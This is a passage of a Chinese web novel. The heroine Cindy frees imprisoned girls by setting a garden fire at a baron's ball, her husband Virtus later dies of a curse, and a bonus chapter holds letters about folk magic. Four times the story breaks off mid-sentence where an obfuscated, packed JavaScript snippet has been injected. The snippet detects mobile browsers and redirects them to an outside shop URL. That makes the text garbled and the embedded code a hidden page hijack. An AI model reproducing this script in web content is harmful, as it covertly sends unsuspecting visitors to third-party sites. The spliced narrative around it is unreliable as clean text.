“你们必须拦下马车，告诉国王陛下你们被地狱之火俱乐部囚禁，不需要进一步的解释，国王陛下会为你们主持公道的。” 关于地狱之火俱乐部，辛蒂在听维尔图斯说过后又付了大价钱给侦探，又得到了一些更可靠的消息。 国王陛下并没有不管安娜公主，只是他插手的时间已经太晚了，他只能申斥了地狱之火俱乐部的成员，对于几个主要会员做出了罚款的惩罚。 自此这个俱乐部消停了好长一段时间，只是最近又开始冒头了。 据此辛蒂猜测国王陛下不会对此坐视不理，而面对地狱之火俱乐部这样强权的集合体，只能找能压制他们的存在，反正结果不会更坏了。 许多女孩都流露出害怕的神色，她们只在庆典的时候跪在地上见过国王陛下的衣角，现在却要她们拦下国王陛下的马车。 简·格温却没有那么多顾虑，流亡生活让她的胆子比一般的女孩大多了，她一口答应：“好，我会一字不差地告诉国王陛下的。” 辛蒂点点头，目光扫过流露出退缩神情的女孩：“要是你们做不到这些，等待你们的就是被布莱克男爵再次抓回去，被凌辱致死，再也见不到你们的父母和兄弟姐妹。” 辛蒂的话让女孩们想起了被折磨得奄奄一息的玛丽·多塔，可怜的玛丽，被送回来的时候身上没有一块好肉，就连神智都不太清楚。 她一直重复着“恶魔，你们都是恶魔”、“滚开”、“我要回家”之类的低语，这让她们难以想象这个女孩都经历了什么。 得益于凝神药膏的作用，女孩们的神智保持着清明，在意识到退缩的后果之后，恐惧也被抛之脑后，只有一往无前的勇气。 “女孩们，祝你们好运。” 确定女孩们知道自己需要做什么以后，辛蒂告诉她们如何回到地面后就先行离开了，她还需要处理巡逻的守卫以及去花园放火。 一个女孩叫住了辛蒂：“恩人，我们还不知道您的名字，以后应该如何回报您呢？” 辛蒂没有回答，摇摇头离开了，这里只有简·格温知道她是谁，不过聪明的简并没有暴露出她的身份。 少一个人知道辛蒂的身份，辛蒂就少一分危险。 制造一场火灾可不是什么容易的事，尤其是在潮湿的花园中。 单凭草木是燃不起来的，辛蒂在庄园的酒窖里找到了数十桶伏特加，喝过可以使力气变大的药剂后，辛蒂可以轻松扛起这些酒桶均匀地倒在草木上作为助燃剂。 幸好花园里一个人也没有，所有仆人和客人都还在宴会厅里，异常浓烈的酒香没有引起任何人的注意。 辛蒂霍霍完这些伏特加，又制作了一个小小的机关让火焰在一段时间后才会燃烧起来后，才回到更衣室把衣服换回原来的礼服，装作自己是刚从更衣室出来的样子。 等辛蒂回到维尔图斯身边的时候，大厅里巨大的落地钟已经指向了十二点，她不知不觉间已经离开了舞会一个多小时。 维尔图斯已经找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760627|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了辛蒂一圈，产生了诸多不好的念头。要是辛蒂再不出现，他就要请庄园的主人帮忙寻找了。 辛蒂裙边的草叶让维尔图斯皱起了眉头，他不动声色地拿掉那片叶子，轻声问道：“辛蒂，你去哪了？” 辛蒂不自然地笑笑：“我有些肚子疼，就在更衣室多呆了会。回来的路上我闻到了玫瑰的香气，就去花园里透了透气。” 维尔图斯还是觉得有些奇怪，不过想到女士的服装繁复，花的时间久了些也算合理。 他又兴致勃勃地向辛蒂推荐他刚刚喝到的改良口味的杜松子酒，里面颇有巧思地加入了树莓的汁液，品尝起来风味十足。 辛蒂漫不经心地品尝着酒液，眼睛关注着窗外，有一搭没一搭地回应着维尔图斯。 宴会厅里东面的一排落地窗都正好对着花园的方向，要是白天景色想必十分美妙，不过现在只能看到黑漆漆的一片。 没有让辛蒂等太久，她在花园里的留下的火种，以及泼洒的那些烈酒成功混合到了一起，爆燃出一排火墙。 落地窗映照着窗外的火焰，给人们一种被火焰包围的错觉，看起来十分吓人，实际上花园距离宴会厅最起码还有五十米那么远。 在辛蒂的特意设置下，这些火焰是烧不到宴会厅的，只会给布莱克男爵造成一点小小的财产损失。 燃烧的花园让宴会厅骚动起来，人们闻到了火焰的焦味，辛蒂听到一些胆小的女眷发出了尖叫声。 火焰似乎随时都会席卷而来，参加舞会的贵族们纷纷往外涌去，想要离开这个危险的地方。 就连布莱克男爵都无暇判断花园的情况，第一个往外跑去，连假发掉了，露出不剩几根头发的发顶都顾不上。 辛蒂看见好几个混在人群中的女孩按照她的安排往庄园门口跑去，在混乱的人群中并不显眼。 辛蒂松了口气，她面上也是一副慌乱的神色，拉着维尔图斯的手却稳稳的，还有心情问他有没有感到不适。 维尔图斯也不着急往外跑，在他看来花园的火势已经变小了，烧到宴会厅的可能性很小。他相信辛蒂也看出了这一点，她故作慌乱的表情实在是太刻意了。 这场刻意制造的火灾没有伤害到任何人，只是毁了男爵的舞会。 等到辛蒂和维尔图斯慢腾腾地坐上马车时，火焰已经快要熄灭了，可惜这时候客人们也都走得差不多了。 回到里德府后，维尔图斯发现布莱克庄园的意外没有对辛蒂造成任何影响，她甚至还有些开心，湛蓝的眸子里跃动着愉悦的光。 维尔图斯断定，辛蒂肯定做了什么他不知道的事，甚至那场火灾就是辛蒂的手笔。 最近辛蒂最关心的就是那些失踪的女孩们，尤其是格温夫人的女儿，虽然辛蒂不说，里德府里的事他总归是知道的。 这样看来，他的妻子今晚做的事肯定和这些女孩有关，或许这些女孩已经在她的帮助下得救了。 “亲爱的，今晚的行动还顺利吗？”睡前维尔图斯冷不丁的开口，黑色的眼睛里带着几分笃定之色。 25. 庄园 辛蒂并没有被诈出来，而是睁大了眼睛一脸的无辜：“什么行动？维尔图斯，你还没睡着就开始做梦啦？” 维尔图斯忍不住捏了捏辛蒂的脸蛋，有些无奈：“辛蒂，你瞒着我的事越来越多了。” 第二天一大早，辛蒂得到了留在皇宫附近的人传递的最新消息，国王陛下接见了那几个女孩，把她们带回了皇宫。 没多久布莱克男爵就收到了皇宫的传召，现在都还在皇宫内。 不过女孩们倒是都被好好地各自送回了家，看上去没有什么不对的地方。 辛蒂觉得有些奇怪，在她的设想里，国王陛下最多就是警告布莱克男爵几句，囚禁几个平民女孩而已，对于贵族来说不算什么要命的事。 毕竟囚禁公主也只是罚款而已，难道发生了什么意外的事？ 事情的发展远远超出了辛蒂的预期，不知道布莱克男爵跟亚基亚德国王说了些什么，他直接被关了起来。 不久后更是传来布莱克男爵直接被判处了绞刑的消息，罪名就是囚禁平民。 在平民的性命不值1金币的时代，这个罪名其实并不足以让布莱克男爵被处以这样严重的刑罚。 更奇怪的是那些地狱之火俱乐部的成员听到消息后都静悄悄的，仿佛布莱克男爵跟他们全然无关。 这些贵族都是利益共同体，布莱克男爵被“不公正”地对待，他们竟然毫无意见，其中必定有什么未知的弯弯绕绕。 辛蒂尝试用占卜弄清楚布莱克男爵被判绞刑的原因，可惜占卜失败了，灵性也没有给她任何提示。 皇宫似乎有什么反占卜措施，以至于辛蒂的占卜完全无效。 就连一向消息最为灵通的埃莉诺都对这件事为什么会发展成这样一无所知。 她只知道布莱克男爵夫人塞拉菲娜继承了男爵的所有遗产，如今一跃成为了整个王国最富有的寡妇，受到了所有人的羡慕。 不知道她是怎么做到的，她的丈夫的家族没能从她这里讨到一点好处，有好事者称她继承的财产有半个亚基亚德王国那么多。 布莱克男爵还没行刑，求婚的人已经踏破了男爵夫人的门槛。 最后是安全回到格温夫人身边的简告诉了一些她知道的关键信息。 “当时国王陛下宣召后，直接骂了布莱克男爵一顿，并要求他不能再为难我们。” “男爵承诺这件事到此为止，国王陛下就吩咐侍从送我们回家，在等待马车的时候，我听到国王陛下似乎提到了亨利王子，随后我们就离开了。” 简的话让辛蒂有了一些猜测，辛蒂可以断定这件事和亨利王子有关。 辛蒂还没想明白，女仆告诉她维尔图斯请她去书房。 书房里维尔图斯的表情十分严肃，黑浓的眉毛紧紧皱在一起，显示出他的心情并不美妙。 “辛蒂，告诉我，你那天究竟在布莱克庄园都做了什么？” “关于布莱克庄园的失火以及那些女孩是怎么逃出来的，我需要知道你在其中发挥的作用。” 维尔图斯的话让辛蒂紧张起来，她之前没有告诉维尔图斯主要是怕他会从中阻拦以及盘问细节。 其中有太多辛蒂没办法详细告知维尔图斯的事。 不是辛蒂不信任维尔图斯，而是不管在哪个国家，魔法、巫术或者别的什么都是不被大众欢迎的存在。 她之前旁敲侧击珍妮对女巫的看法，珍妮一脸憎恶，她认为魔法会给人们带来祸端，是不详的征兆。 她好几次都想向维尔图斯坦白，可是她害怕维尔图斯知道后对她露出嫌恶的神情，即使是维尔图斯，辛蒂也不确定他会完全接受这样的异端。 不过既然维尔图斯看起来已经知道了不少，她索性隐去占卜和灵性的部分把她的所作所为告诉了维尔图斯，而女孩们的位置都推说是侦探先生给的信息。 维尔图斯也没说信没信，事已至此，他的表情缓和了些道：“亲爱的辛蒂，你给你自己惹了一个大麻烦，恐怕我们不得不去康特赛德庄园避一避了。” “这次的事让国王陛下十分生气，那些女孩们已经不是重点了，国王陛下知道了亨利王子也是地狱之火俱乐部的一员，俱乐部所有成员都受到了波及。” 辛蒂的表情空白了一瞬，她的第一反应是亨利王子为什么没有帮助安娜公主，按理说他们是堂兄妹，还有一起长大的情分。 维尔图斯冷哼一声：“事实上囚禁安娜公主的主谋就是亨利王子。” “当初不仅仅是王后想要让亨利王子和安娜公主结婚，亨利王子也为安娜公主着迷。” “亨利王子求而不得，再加上地狱之火俱乐部的人怂恿，安娜公主就被他们囚禁了起来。” “事发后，地狱之火俱乐部默契地隐瞒了亨利王子的存在，于是国王陛下并不知道亨利王子也参与其中。” 辛蒂的三观再次被刷新了：“所以亨利王子一直都在参与地狱之火俱乐部的活动?” 维尔图斯点点头，他一向温和，对别人做出的评价克制有礼。 此时话语中的厌恶毫不掩饰：“亨利王子已经烂透了，可惜国王陛下怀念王后，一直都十分宠爱这个儿子。” “布莱克男爵说漏嘴后，国王陛下还是认为是别人带坏了亨利王子。如今布莱克男爵绞刑，俱乐部其他成员也一定程度被削减了爵位，亨利王子却只是被禁足，如今恐怕在搂着情妇睡觉呢。” 信息量太大，辛蒂一时间缓不过神来：“那这些跟我有什么关系？他们又不知道是我做的。”这一点辛蒂还是很有自信的，她确信没有人看到她，事后的占卜也显示她没有留下什么不干净的尾巴。 维尔图斯却对辛蒂的自信存疑：“现在不知道，不代表以后不知道。” “那些女孩们就算不知道你的身份，你的身形和容貌早晚会被她们透露给地狱之火俱乐部的人。” “即使你没有露出一点行迹，他们逐步排查后也能确定出一部分嫌疑人。有时候怀疑就足够他们采取报复行动了，他们又不需要把你告上法庭，证据不是最关键的东西。” 维尔图斯说服了辛蒂，地狱之火俱乐部的人吃了这么大的亏，难保不会狗急跳墙，做出什么过激行为。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760628|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >维尔图斯的身体正好需要修养，他们现在离开都城也不算突兀。 不过辛蒂并不后悔自己的选择，要是再给辛蒂一次机会，她还是会这么做的。 奶奶从小就告诉她，不管做什么，无愧于心是最重要的。 坐视无辜的女孩们受到伤害，尤其自己还有伸手救一救的能力的时候，辛蒂会受到良心的谴责。 在辛蒂的默认下，维尔图斯吩咐管家迅速打包好了行李，第二天他们就乘坐马车去了康特塞德庄园。 庄园的风景和辛蒂想象中一样，有清澈的小河和大面积的草坪，还有广阔的农田和牧场。 乡村的庄园并不华丽，却让人觉得开阔又舒畅。 美丽的风景让辛蒂心中的郁气都消散不少，所有的烦心事都抛之脑后。辛蒂想，他们应该早些来的，白白浪费了许多好时光。 远离了繁华和喧嚣，还有麻烦的人事，辛蒂终于有时间可以帮助维尔图斯调理身体。 她最近学习到了《神秘学起源》的第六章，这个章节大概描述了一些简单的疗愈魔法，她颇有些跃跃欲试。 辛蒂在领会到灵性的奥秘后，在学习《神秘学起源》的时候就不再遮遮掩掩，反正维尔图斯看了也大概率不会。 要是维尔图斯能看明白，辛蒂反而会觉得惊喜，这意味着她拥有了一位学习伙伴。 一开始维尔图斯还有些好奇，尝试着阅读过这本希腊文的书籍，遗憾的是，他在这方面并无天赋。 于是这本书在他看来和别的什么神话小说并无区别，只不过他的妻子很有兴趣而已。 如今辛蒂用这本书上的治疗手段帮他调理身体，维尔图斯并不相信，不过愿意配合，让辛蒂的一番心意不白费。 辛蒂主要尝试了水晶疗法，芳香疗法的精油制备太过于复杂，她并无相关的材料。 说起来她来到这个世界以前也用过水晶疗法，她有一个朋友老是喜欢捣鼓这些奇奇怪怪的东西，其中就包括水晶。 她有一段时间不太顺利，这个朋友就推荐她戴水晶试试，可惜戴了一段时间下来辛蒂发现对自己完全没用。 现在想想可能是因为买到了假水晶，水晶疗法对于水晶的颜色纯净度都没有太大的要求，不过必须要天然水晶，而且越大越好。 亚基亚德王国的贵族们不太信这些东西，于是这里的水晶并不十分昂贵，辛蒂花费一百金币买了半人高的一块，充分净化后放在维尔图斯身边。 另外又弄了一块小的每天泡水给他喝。辛蒂不知道随身放着水晶和水晶泡水两种方式哪种更好些，索性全部都尝试。 书里说，打开灵视，就能看到水晶中能量的流向，还能看到人和动物的气场以此来判断被观察者的健康或者心情情况. 灵视的开启在灵性的辅助下很简单，不过辛蒂迟迟不敢迈出那一步，她没有老师在旁指导协助，很怕看到什么对精神造成冲击的画面。 这样的画面不一定是指的鬼魂之类的灵体，而是环境过于复杂周围的能量体太多的情况下，会造成初学者接收的信息过多，产生精神上的震荡。 26. 死亡 康德塞特庄园的环境很干净，倒是很适合辛蒂第一次尝试灵视。 辛蒂第一次尝试打开灵视的时候找了一处空旷的草坪，周围没有人也没有动物，抬头只能看见天空。这样的环境里能量体会十分简单。 只需要闭上眼睛冥想片刻，只需要感受自己的灵性，辛蒂就专注了精神。忽有所感的时候，辛蒂睁开眼睛，眼前的世界已经变成了一块块五颜六色的光团。 地上的小草是柔和的绿色光团，天空的太阳是刺眼的白色光团，辛蒂因为好奇注视了代表太阳的光团片刻，就感受到了仿佛来自灵魂的刺痛，吓得她不敢再看。 近处的光团只有这些，再往远处看就很模糊了，是灰色的一片。 总体来说，第一次灵视十分顺利，后来辛蒂又尝试了在不同的地方开启灵视，她发现动物的气场往往是绿色或者黄色的，这表示它们很平静或是快乐。 人的气场则复杂了许多，红橙黄绿蓝靛紫什么都有，而且几乎都不是单一的颜色，而是好几种颜色的混杂。 比如管家先生的气场常常是白色作为背景，泛着淡淡的绿色或者蓝色，白色意味着管家先生健康的身体状态，绿色和蓝色则是平和或者冷静的情绪。 他在训斥仆人的时候会有一些表示愤怒的红色出现，偶尔工作成果得到赞扬还会出现满足的橘色。 而维尔图斯的气场整个常常都是暗沉的灰色，这并不是说他常常不高兴，而是他的身体状况很差。 再仔细观察那片灰色，可以看出里面混杂了许多暗沉的颜色，深绿色是最容易分辨出的，这意味着他的心脏与调节系统并不健康。 代表身体状况的暗色遮挡住了明亮的情绪颜色，所以辛蒂在观察维尔图斯的气场颜色的时候，并不容易分辨出他的情绪。 在水晶疗法的作用下，辛蒂可以看见水晶纯白色能量缓缓地从水晶中流向维尔图斯的躯体。 看起来这些纯白色的能量如同泥牛入海，没能对维尔图斯的气场做出任何改变，不过隔一天看就能明显感觉到那片浓郁的灰色淡了些许，藏在灰色下的其他颜色变得明显了些。 与此同时，维尔图斯也渐渐感觉到了他的身体竟然真的在辛蒂的折腾下有好转，不过他仍旧不相信那是水晶的功效，只认为是康特赛德庄园的好环境起了作用。 维尔图斯能这样自我说服，辛蒂也乐得不解释，她自己知道水晶疗法确实有用就足够了。 在康特赛德庄园住了一个多月，辛蒂看着维尔图斯的面色渐渐开始红润起来，脸颊也丰满了不少，内心十分有成就感。 按照珍妮传来的消息，都城始终都风平浪静，辛蒂萌生出了回去的想法。这里固然舒服，可是乔瓦娜的婚礼日期要到了，她不想缺席。 可是就在辛蒂斟酌着准备跟维尔图斯商量回去的事的时候，维尔图斯的病情忽然加重了。 情况非常紧急且突然，上午维尔图斯还在跟辛蒂讨论花园里种什么比较合适，下午他在看书的时候突然昏倒过去，人事不知。 一连请了好几个医生，检查后都说不出原因是什么。 辛蒂用灵视看了维尔图斯的气场，一片浓郁的黑色，就算没有书里的说明，辛蒂也知道这意味着什么，短时间内必定死亡。 眼看维尔图斯苍白得如同死尸的面容，还有那浓郁的黑色，辛蒂慌了神，才想起来自己还能占卜。 她找了一个空房间，努力摒除杂念，让哆哆嗦嗦的双手稳定下来后，才拿出水晶进行占卜，依然是7遍的默念：“维尔图斯生病了吗？······维尔图斯生病了吗？······” 这看上去是个显而易见并且必定会得到肯定答案的问题，辛蒂更想问的是维尔图斯是什么病或者如何治疗。 可是碍于灵摆占卜的限制，她只能问出这样答案是或者否的问题，她这么占卜是想得到灵性的启示。 可是出乎意料的，眼前细线上吊着的水晶开始逆时针旋转起来。幅度较小，但是转得很稳。 辛蒂脸一白，不是因为身体原因，那会是什么？中毒了吗？不对，中毒也算是生病，那就是······诅咒？！ 辛蒂想到了《神秘学起源》里面提到过的诅咒，可以让人找不到原因的衰弱下去，和维尔图斯的症状很像。 为了验证自己的想法，辛蒂稳住心神，换了一个问题，又占卜了一次。这次的问题是，“维尔图斯是被诅咒了吗？” 这次水晶给了顺时针的答案，或许是因为找对了方向，这次辛蒂的灵性给出了启示。 辛蒂的脑海里出现了一副画面，一个穿着黑色长袍的面容普通的男性术士，他的面前点着一根黑色的蜡烛，伴随着摇曳的黑色烛火，术士嘴里念念有词。 忽而烛火灭了，这是诅咒成功的标志，与此同时，男性术士脸色发白，面容一瞬间苍老了许多。 这是诅咒的反噬，一般而言诅咒的效力越强，施术者遭到的反噬越大。术士显然是以生命力为代价施展的诅咒，这是奔着要维尔图斯的命去的！ 辛蒂想明白了这一点后，大脑一片空白，她不知道自己能做什么，事实上她几乎什么都做不了。 要是她会其他的占卜方式，或者会更强力的魔法，还能再尝试一下，可是辛蒂不会。 《神秘学起源》里提到过，这样的恶咒是没有破除办法的，即使有，也不是辛蒂这样一个初学者可以施展的出。 就算辛蒂可以找到一个强大的术士，维尔图斯恐怕没办法撑到那个时候。 就在辛蒂疯狂思考着还有什么办法的时候，房间门被敲响了：“夫人，伯爵醒了。” 辛蒂几乎是连滚带爬来到维尔图斯的床边，床上的男人果然已经睁开了他永远温和包容的黑色眼睛。 维尔图斯露出一个虚弱的笑容，右手轻轻抬起似乎想要抚摸辛蒂的面容，却又无力垂下。 辛蒂知道这已经成了定局，无意识间泪流满面，她拉起维尔图斯的手，紧紧贴住自己的面颊：“亲爱的，我在，我在。” 维尔图斯此时已经感受到了自己的生命力在飞速流逝，眼下能睁开眼说几句话已经是他拼命挣扎的结果。 “咳咳，对不起，辛蒂，我恐怕无法再继续陪伴你了······还记得我之前说过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760629|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话吗？” “我反悔了，辛蒂，我死后你不要再嫁给别人······至少不要把那个人带到我的坟墓前······” “我的辛蒂，可怜的辛蒂，我真舍不得你······谁能像我一样爱你······” 维尔图斯的眼睛始终都没有离开辛蒂，他贪恋地看着他的妻子，似乎想要把辛蒂的样子刻进自己的灵魂。 死神却并未宽限给他太多的时间，他的眼睛最后还是慢慢地，慢慢地闭上了。 在维尔图斯越来越虚弱的声音里，辛蒂不知道自己说了些什么，似乎只是点头，一句话都说不出来。 最终，那只手，那只永远温暖的手，还是从辛蒂手中滑落了，即使辛蒂的眼泪几乎打湿了维尔图斯的衣袖，他还是永远离开了辛蒂。 辛蒂的眼泪流干了，她茫然地抱着维尔图斯的尸体，在巨大的悲伤的冲击下，她忘记了自己的姓名，忘记了身在何处。 她的心里空茫茫的一片，仿佛置身在冰冷的雪原上，只有自己和维尔图斯不再温暖的身体。 深受打击的女主人无法主持大局，管家不得不自行通知了捷琳娜和乔瓦娜这一消息，并且联系了戈尔曼夫人来处理葬礼的事宜。 几乎所有人都没有对维尔图斯的去世感到意外，不管是他的堂姐乔瓦娜还是姑母戈尔曼女士，或是姐姐捷琳娜。 她们都认为以维尔图斯的身体状况，离开这个世界是早晚的事，眼下这一刻到来了，她们都接受这个事实。 只有辛蒂，她知道经过调养，维尔图斯的身体明明已经有了明显的好转，完全是因为莫名的诅咒，他才会猝然死去。 辛蒂还知道，是她害死了维尔图斯。 维尔图斯一向与人为善，连出门都很少，谁会想着诅咒他呢？ 只因为他的妻子辛蒂·里德，无知自大且狂妄，凭借着自己一点微不足道的能力就想着拯救别人。 最后得罪了不该得罪的人，后果却应在了无辜的维尔图斯的身上。 要是当初她能听维尔图斯的话，一开始就离开都城，远离那些是是非非，那他们现在还好端端的在康特赛德庄园。 而不是像现在这样，一个还温热着，一个已经冰冷。 维尔图斯的葬礼上的辛蒂穿着黑裙，脸色木然，仿佛是一个幽魂。所有人都在因为维尔图斯的下葬流下眼泪的时候，只有辛蒂，一滴泪都没有。 没有人会觉得她是格格不入的，不需要眼泪证明，她才是这里最悲痛的人，仅仅是看她一眼，其他人就觉得自己正在被黑色的潮水淹没。 悲伤之余，乔瓦娜更担心辛蒂的身体，来到康特赛德庄园后，她没见过辛蒂吃喝哪怕一口水。 乔瓦娜只能干巴巴地劝慰她：“维尔图斯也不会愿意看到你这样的。” 辛蒂没有说话，只是露出了一个惨然的微笑。 辛蒂将无穷无尽的后悔全部转化成了坚硬的恨意，她恨诅咒维尔图斯的主使者，却更恨自己，恨自己的天真和愚蠢。 她希望自己能够随着维尔图斯的脚步而去，如此她心中的痛苦和愧意才能稍减。 27. 番外：阿卡索来信 （提示：这一段的时间线和正文不太一致，可以认为是一个维尔图斯没有死的时间线） 亲爱的辛蒂： 你最近还好吗？我很想念你，还有莉莉娅、捷琳娜以及埃莉诺。 不知不觉我和阿卡索的婚姻已经开始好几个月了，就如我之前所说的，婚后的生活也就那样。 在度过了最开始甜蜜时光以后，阿卡索开始把自己的精力和时间更多的放到了政务的学习以及王国的治理上。 天主在上，我从没想过婚后的日子可以这么无聊，梅拉夫人建议我跟她一起管理皇宫的事务，我并不愿意，那些琐事在我看来是对时间无意义的空耗。 我不得不佩服你和维尔图斯稳定的生活状态，要是阿卡索也能天天陪着我就好了，当然我知道这几乎不存在可能性。 之前的信件里你提到或许我可以帮助阿卡索处理领地的事务，说实话我从没这么想过！ 我认识的夫人小姐们从没一个敢这么说，这么做的！ 可是看着可怜的阿卡索每天都工作到深夜，我实在是于心不忍。在魔鬼的引诱下，我竟然说出了那些话。 噢，善良的阿卡索，智慧的阿卡索，我必须要说他真是一位好丈夫。 我看得出他很惊讶，不过或许是出于对我的尊重，他最后同意了。属臣们的劝告没有让他动摇分毫，你知道他怎么回答他们的吗？ “乔瓦娜跟我有着同样高贵的地位以及丝毫不逊色于我的学识，我不知道有什么理由可以阻止她发挥自己的才智。”这时候我觉得我对他的爱意达到了顶峰。 于是我最近在尝试处理领地居民的纠纷，当然主要是属臣在处理，我还在旁观学习阶段。 天主在上！我从不知道这个世界上还有那么多奇怪的事呢。 邻居两个人产生了纠纷，瘦的那个说自己家的奶牛最近不产奶，是因为胖的那个使坏。 证据就是他家的奶牛的奶量超出了平时，肯定是用了女巫的手段，让本该属于瘦子的奶转移到了胖子的奶牛身上。 我认为这十分可笑，属臣却要求胖子拿出一些奶，放在锅子里用火烧，牛奶烧干后残余了些许结晶，属臣认为这就是存在巫术的证据，让胖子把牛奶的收益与瘦子平分。 这二人都没有异议，接受了判决。 我实在疑惑，亲爱的辛蒂，你似乎对于这些奇怪的事有所研究，能告诉我这是怎么一回事吗？ 除此以外，还有些事颇为荒唐，平民们竟然相信被斩首的犯人可以的血肉用来治病哩！ 有一天我乘坐马车经过一处行刑的地方，那里竟然十分混乱，人们似乎在争抢着什么。 我感到疑惑，行刑的地方不应该十分肃穆吗？女仆告诉我，吊死犯人的绳结多的是人要花钱买呢，癫痫病人还会争着饮犯人被斩首那一刻脖颈里涌出的鲜血，认为这是一味良药。 那么多人争抢，想必是有一定道理的吧？我不知道其中的原理，只好怀着一种敬畏的心情看待这样的事。 还有一件奇怪的事，我最近手臂上长了一个疣子，阿卡索却并不帮我请医生，而是拿一块石头在这个疣子上稍微摩擦了几下，然后把石头扔进河里，他告诉我这样我的病就能好了。 出于对他的信任，我忍耐了几天，决心一周内没有好转就请医生来治疗。 神奇的是某天早上起来疣子竟然消去了，就像从来没有存在过一般。我至今没有想明白这跟那块扔进河里的石头有没有关系。 聪明的辛蒂，从以上种种事件，你肯定看出来了阿卡索王国和亚基亚德王国不太一样。 阿卡索的贵族和平民都相信女巫的存在，与此同时他们也畏惧女巫，法令规定要处死一切女巫呢。 我并不觉得这样正确，就像贵族里有人滥用权力，有人用权力做好事。我想女巫里也有好人，可惜这样的话我只能在信里跟你说说。 有时候我觉得女性的处境实在是很糟糕，同样是会巫术，女巫们就被认为是邪恶的象征，男性术士却毫无妨碍，是贵族们的座上宾。 我以为他们是在恐惧着女人拥有力量，就像我想要帮阿卡索处理政务遭到属臣们的反对一样。 亲爱的辛蒂，我逐渐明白了你为何要执着于拥有属于自己的财富，把一切掌握在自己手里的感觉实在让人迷恋，不是吗？ 在我分掉一部分阿卡索的权力后，除去那些小小的杂音，投诸到我身上的目光使我舒服了许多。 过去，他们是在看阿卡索的妻子、一个还算美丽的女人、亚基亚德家的小姐，而现在，他们看到的更多的是一个掌控者。 不过我不得不说，与权力对应的责任也叫我感到疲惫，这种疲惫甚至会让我失去淑女的仪态，忍不住朝我的丈夫，这个王国内第二尊贵的男人发火。 我认为这不能怪我，阿卡索有时候在政务上的愚钝实在是让人生气······ 亲爱的辛蒂，不知不觉写了这么多，希望你不会觉得我啰嗦。对了，这个季度化妆品工坊的分红我已经收到了，这个数字让我震惊，这几乎是王国一个月的税收！ 我想阿卡索王国的小姐们也应该感受一下化妆品的魅力，要是能干的珍妮可以来到阿卡索王国建立工厂，我们能赚到更多的钱。 我不得不说你是对的，在接触到权力后，我发现我前所未有的缺钱。不管是命令的推行还是团队的培养，有时候我都觉得自己像个吞噬金币的无底洞。 还好有化妆品工坊的分红，否则我肯定走不到这一步，再次感谢你，亲爱的辛蒂。 我很怀念亚基亚德王国的温暖气候，阿卡索王国被称为冬天的国度实在是恰如其分，听说你有整个大陆的旅行计划，希望能在阿卡索与你见面。 最后，希望你们一切都好。 乔瓦娜·阿卡索于阿卡索皇宫 —————回信的分割线—————— 亲爱的乔瓦娜： 很高兴听到您勇敢踏出了拥有权力的第一步，祝贺您！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760630|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我认为阿卡索王子是个好人，但是我对于他是否能保证对于婚姻的忠贞持怀疑态度，并不针对他，我说的是所有男人。 只有维尔图斯这样即使有心却无力的，才能使我放心。 我说这些并不是让您做出防备，我想告诉您，不要企图依靠男人的爱意，无论如何，只有自我的强大才能让您心无挂碍地夜夜安眠。 权力和金币才是您应该牢牢握在手里的东西，现在看来，您已经比我更深刻地领会到了这个道理。 关于您提到的牛奶的纷争，我确实有些猜想。 那位瘦子农夫想必是“有限物品原则”的拥簇者。这一观点是基于一个族群内的所有事物都是有限的，包括财物、庄稼、健康、繁荣、幸运、美貌、生育等。 我认为他的想法是有道理的，他的奶牛减产或许是因为疾病之类的原因，不过考虑到邻居的对应产量异常增多，就稍显不合常理。 您的属臣想必是一位经验丰富的先生，他的做法十分公允，虽然看起来很简单粗暴，事实是这就是类似事件最好的处理手段。 关于这方面的知识，我推荐您可以阅读《大众生活常识》这本书籍，不要被书名欺骗，这其实是一本讲述民间魔法以及应对措施的书籍，里面很多内容都使我受益匪浅。 事实上，亚基亚德王国也存在着许多类似的和魔法或者巫术有关的事件，关于这方面的事务，我想您需要一位具有丰富经验的参谋，他将会稍晚于回信来到您的身边。 请原谅我的自作主张，根据您信中的描述，阿卡索的巫术盛行。 您的善良让我深受感动，可是我不得不提醒您，害人的巫术防不胜防，尤其是在您这样的高位上，绝不能掉以轻心。 